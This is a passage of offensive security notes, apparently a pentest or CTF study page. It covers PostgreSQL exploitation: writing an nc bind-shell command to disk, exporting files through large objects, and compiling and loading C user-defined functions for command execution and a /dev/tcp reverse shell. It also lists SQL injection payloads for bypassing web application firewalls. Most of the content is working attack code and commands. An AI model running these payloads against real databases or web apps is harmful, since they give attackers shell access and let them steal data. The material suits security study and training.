INSERT INTO write_file(t) VALUES ('nc -lvvp 1234 -e /bin/bash');
```
Check the table's content
```sql
SELECT * FROM write_file;
```
Copy the file contents to the machine
```sql
COPY write_file(t) TO '/tmp/PostgreWrite';
```
<h1>PostgreSQL: Large Objects</h1>
<h2>Export files to disk</h2>
1. Import the file using large objects
```sql
SELECT lo_import('/etc/hosts');
```
2. Insert the file OID into the Database
```sql
INSERT INTO files (description, file_oid)
VALUES ('Test file', lo_import('/etc/hosts'));
```
> Stores the file contents inside the PostgreSQL Large Object Storage (managed internally)
> Returns an OID: a numeric identifier that references to the object
> 
3. Export the file back to the disk on a specified location
```sql
SELECT lo_export(file_oid, '/tmp/output.txt') FROM files;
```
<h1>PostgreSQL: UDF</h1>
<h2>Writing the UDF</h2>
<h3>Environment Configuration</h3>
<h4>Step 1</h4>
Install the required packages
```
apt update && apt install -y \
build-essential \
postgresql-server-dev-13 \
nano gcc make
```
- build-essential: Provides gcc, make, and core utilities
- postgresql-server-dev-13: Required for headers like "postgres.h"
- nano, vim: for quick edits to write the C file
> Environment: Debian GNU/Linux 12 (bookworm)
<h4>Step 2</h4>
Check if postgres.h is in the right location
```
ls /usr/include/postgresql/13/server/postgres.h
```
<h3>Write the UDF Scripts</h3>
<h4>rce.c</h4>
```c
#include <stdlib.h> // provides the system() function to execute commands
#include <stdio.h> // standard input output library
#include "postgres.h" // core PostgreSQL definitions and APIs
#include "fmgr.h" // for defining SQL-callable C functions
#include "utils/builtins.h" // helper functions: cstring_to_text_with_len()
// ensures .so was built against the correct SQL version
// prevents version mismatch
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(rce); // registers the rce function with PostgreSQL Server using V1 calling convention
// Datum is the generic return type for PostgreSQL C functions
// PG_FUNCTION_ARGS is a macro that provides access to the function arguments and call context
Datum rce(PG_FUNCTION_ARGS) { // defines the function rce which will be exposed to SQL
system("/usr/bin/id > /tmp/rce_output.txt");
PG_RETURN_TEXT_P(cstring_to_text_with_len("Executed", strlen("Executed"))); // converts the C string "Executed" to PostgreSQL text type and returns it
}
```
<h4>sys_exec.c</h4>
```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
char *cmd = text_to_cstring(PG_GETARG_TEXT_PP(0)); // get user's input arguments
char buffer[1024];
char result[8192] = ""; // used to store the system command's results
FILE *fp;
fp = popen(cmd, "r");
if(fp == NULL) {
ereport(ERROR, errmsg("Failed to run command"));
}
// reading the output of the executed command (from popen) and accumulate the result into a buffer
// fgets continues to read the line of texts from fp until it hits NULL
while(fgets(buffer, sizeof(buffer), fp) != NULL) {
// the output result gets appended to `result`
// the calculation is to ensure we don't overflow result
// total capacity - currently used - null terminator
strncat(result, buffer, sizeof(result) - strlen(result) - 1);
}
pclose(fp);
PG_RETURN_TEXT_P(cstring_to_text_with_len(result, strlen(result)));
}
```
<h4>rev_shell.c</h4>
```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(rev_shell);
Datum rev_shell(PG_FUNCTION_ARGS) {
char *ip = text_to_cstring(PG_GETARG_TEXT_PP(0));
char *port = text_to_cstring(PG_GETARG_TEXT_PP(1));
char cmd[256];
snprintf(cmd, sizeof(cmd),
"/bin/bash -c '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'",
ip, port);
system(cmd);
PG_RETURN_TEXT_P(cstring_to_text_with_len("Shell spawned", strlen("Shell spawned")));
}
```
> snprintf writes formatted string in buffer cmd and ensures no more than sizeof(cmd) bytes are written
> sprintf is not capable of preventing buffer overflow
> sprintf does not do bound checking
Reference:
https://github.com/dionach/pgexec/blob/master/pg_exec.c
https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9
<h3>Build the .so file</h3>
Assuming the file is located at /home/kali
1. Switch current directory to /home/kali
```
cd /home/kali
```
2. Compile .c file into an object file
```
gcc -I/usr/include/postgresql/13/server -fPIC -c rce.c -o rce.o
```
> `GCC`: GNU Compiler Collection (C compiler)
> `-I/usr/include/postgresql/13/server`: Tells the compiler where to find the headers
> `-fPIC`: Position independent code, required for creating shared libraries so they can be loaded into any memory address
> `-c`: Compile only do not link, generates a .o file
> `-o file_name.o`: Creates a file_name.o object file
3. Link the object into a shared library
```
gcc -shared -o rce.so rce.o
```
> `-shared`: Produce a shared library
> `-o file_name.so`: Output file will be file_name.so
> `file_name.o`: The object file to link
> This will output a .so file
<h2>Transfer the File to Target Machine</h2>
<h4>Step 1</h4>
Connect to PostgreSQL remotely
```
psql -h 127.0.0.1 -p 5432 -U postgres -d lobtest
```
<h4>Step 2</h4>
Import the file using PostgreSQL Large Object
```psql
\lo_import '/home/kali/rce.so'
```
> This will return an OID, say 16433
<h4>Step 3</h4>
Export the .so UDF to the target's local machine
```psql
SELECT lo_export(16433, '/tmp/rce.so');
```
<h2>UDF Function Execution</h2>
<h3>Load the Function in PostgreSQL</h3>
<h4>rce.so</h4>
```psql
CREATE FUNCTION rce()
RETURNS text
AS '/tmp/rce.so', 'rce'
LANGUAGE C STRICT;
```
<h4>sys_exec.so</h4>
```psql
CREATE FUNCTION sys_exec(text)
RETURNS text
AS '/tmp/sys_exec.so', 'sys_exec'
LANGUAGE C STRICT;
```
<h4>rev_shell.so</h4>
```psql
CREATE FUNCTION rev_shell(text, text)
RETURNS text
AS '/tmp/rev_shell.so', 'rev_shell'
LANGUAGE C STRICT;
```
<h3>Execute the Function</h3>
<h4>rce()</h4>
```psql
SELECT rce()
```
<h4>sys_exec(cmd)</h4>
```psql
SELECT sys_exec('whoami');
```
```psql
SELECT sys_exec('pwd');
```
```psql
SELECT sys_exec('id');
```
<h4>rev_shell(ip, port)</h4>
```psql
SELECT rev_shell('127.0.0.1', '1234');
```
<h2>Useful Link</h2>
https://medium.com/@artbindu/postgresql-user-defined-function-4a2c1071e879
<h1>SQL Injection: Bypassing WAF</h1>
<h2>Normalization Method</h2>
Definition: Clean HTTP Requests by removing/replacing suspicious patterns.
<h3>Double Keyword Bypass</h3>
Case: WAF removes the first occurrence of dangerous keywords
```
/?id=1/**union/union/**select/select+1,2,3/*
```
```
/?id=1/**【union】/union/**【select】/select+1,2,3/*
```
```
/?id=1/**/union/**/select+1,2,3/*
```
<h3>Character Sequence Removal</h3>
Case: WAF removes `//` sequences
```
/?id=1+un//ion+sel//ect+1,2,3+--
```
```
/?id=1+un【//】ion+sel【//】ect+1,2,3+--
```
```
/?id=1+un//ion+sel//ect+1,2,3+--
```
<h3>Nested Keywords</h3>
Case: WAF removes dangerous keywords
```
/?id=1+unUNIONion+selSELECTect+1,2,3+--
```
```
/?id=1+un【UNION】ion+sel【SELECT】ect+1,2,3+--
```
```
/?id=1+union+select+1,2,3+--
```
<h3>Comment Insertion</h3>
Case: WAF detects dangerous keywords
```
/?id=1+un/**/ion+sel/**/ect+1,2,3+--
```
SQL might process it like
```
id=1 union select 1,2,3 --
```
<h3>Encoded Characters</h3>
Case: WAF detects dangerous keywords
```
/?id=1+un%00ion+sel%00ect+1,2,3+--
```
<h3>MySQL Version Comments</h3>
Executes UNION only is MySQL DB version >= 5.0.0
```
/*!50000 UNION */
```
<h2>HTTP Parameter Pollution</h2>
Definition: Duplicate parameter names to confuse WAF
```
/?id=1;select+1&id=2,3+from+users+where+id=1+--
```
<h3>PHP Handling</h3>
PHP takes the last value
```php
$_GET['id'] === '2,3 from users where id=1 --'
```
<h3>ASP.NET Handling</h3>
ASP.NET concatenates by comma
```C#
Request.QueryString["id"] == "1;select 1,2,3 from users where id=1 --"
```
<h3>Python Handling</h3>
By default, Python creates an array
```python
from urllib.parse import parse_qs
query_string = 'id=1&id=2&id=3'
params = parse_qs(query_string)
print(params['id']) # ['1', '2', '3']
```
Python Django and Flask creates an array if using `getlist`
```python
# Gets the first 'id'
request.GET.get('id') # '1'
# Gets all values
request.GET.getlist('id') # ['1', '2', '3']
```
```python
from flask import request
# Only returns the first 'id'
request.args.get('id') # '1'
# Returns all 'id' values
request.args.getlist('id') # ['1', '2', '3']
```
<h3>Split Keywords Bypass</h3>
```
/?id=1+UNION+&id=SELECT password FROM users+--
```
Dangerous if backend takes this as a list and concatenate it.
<h3>Split Dangerous Characters</h3>
```
/?id=1'&id=OR+1=1+--
```
<h3>Mix With Encoding</h3>
```
/?id=1%3BUNION&id=SELECT+*+FROM+users+--
```
<h2>HTTP Parameter Fragmentation</h2>
Definition: Breaking down commands across multple parameters such that when reassembled in the backend turns into a malicious payload
```
/?a=1+UNION/&b=/SELECT+1,2
```
<h2>Other Bypass Techniques</h2>
- REVERSE
- COMMENT + NEXT LINE
```
+#1q%0AuNiOn all #qa%0A#%0AsEleCt
```
> `#` is a comment in MySQL
> `%0A` is a newline
```
+ #1q
\n
uNiOn all #qa
\n
sEleCt
```
<h1>Implementations</h1>
<h2>HITCON WARGAME 2023: What's My IP</h2>
Repo link: https://github.com/DEVCORE-Wargame/HITCON-2023/tree/main/challenges/web/What's%20my%20IP
<h2>SQL Injection to RCE via SessionID</h2>
Reference: https://cyku.tw/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/
Sign in with Wallet
Connect another wallet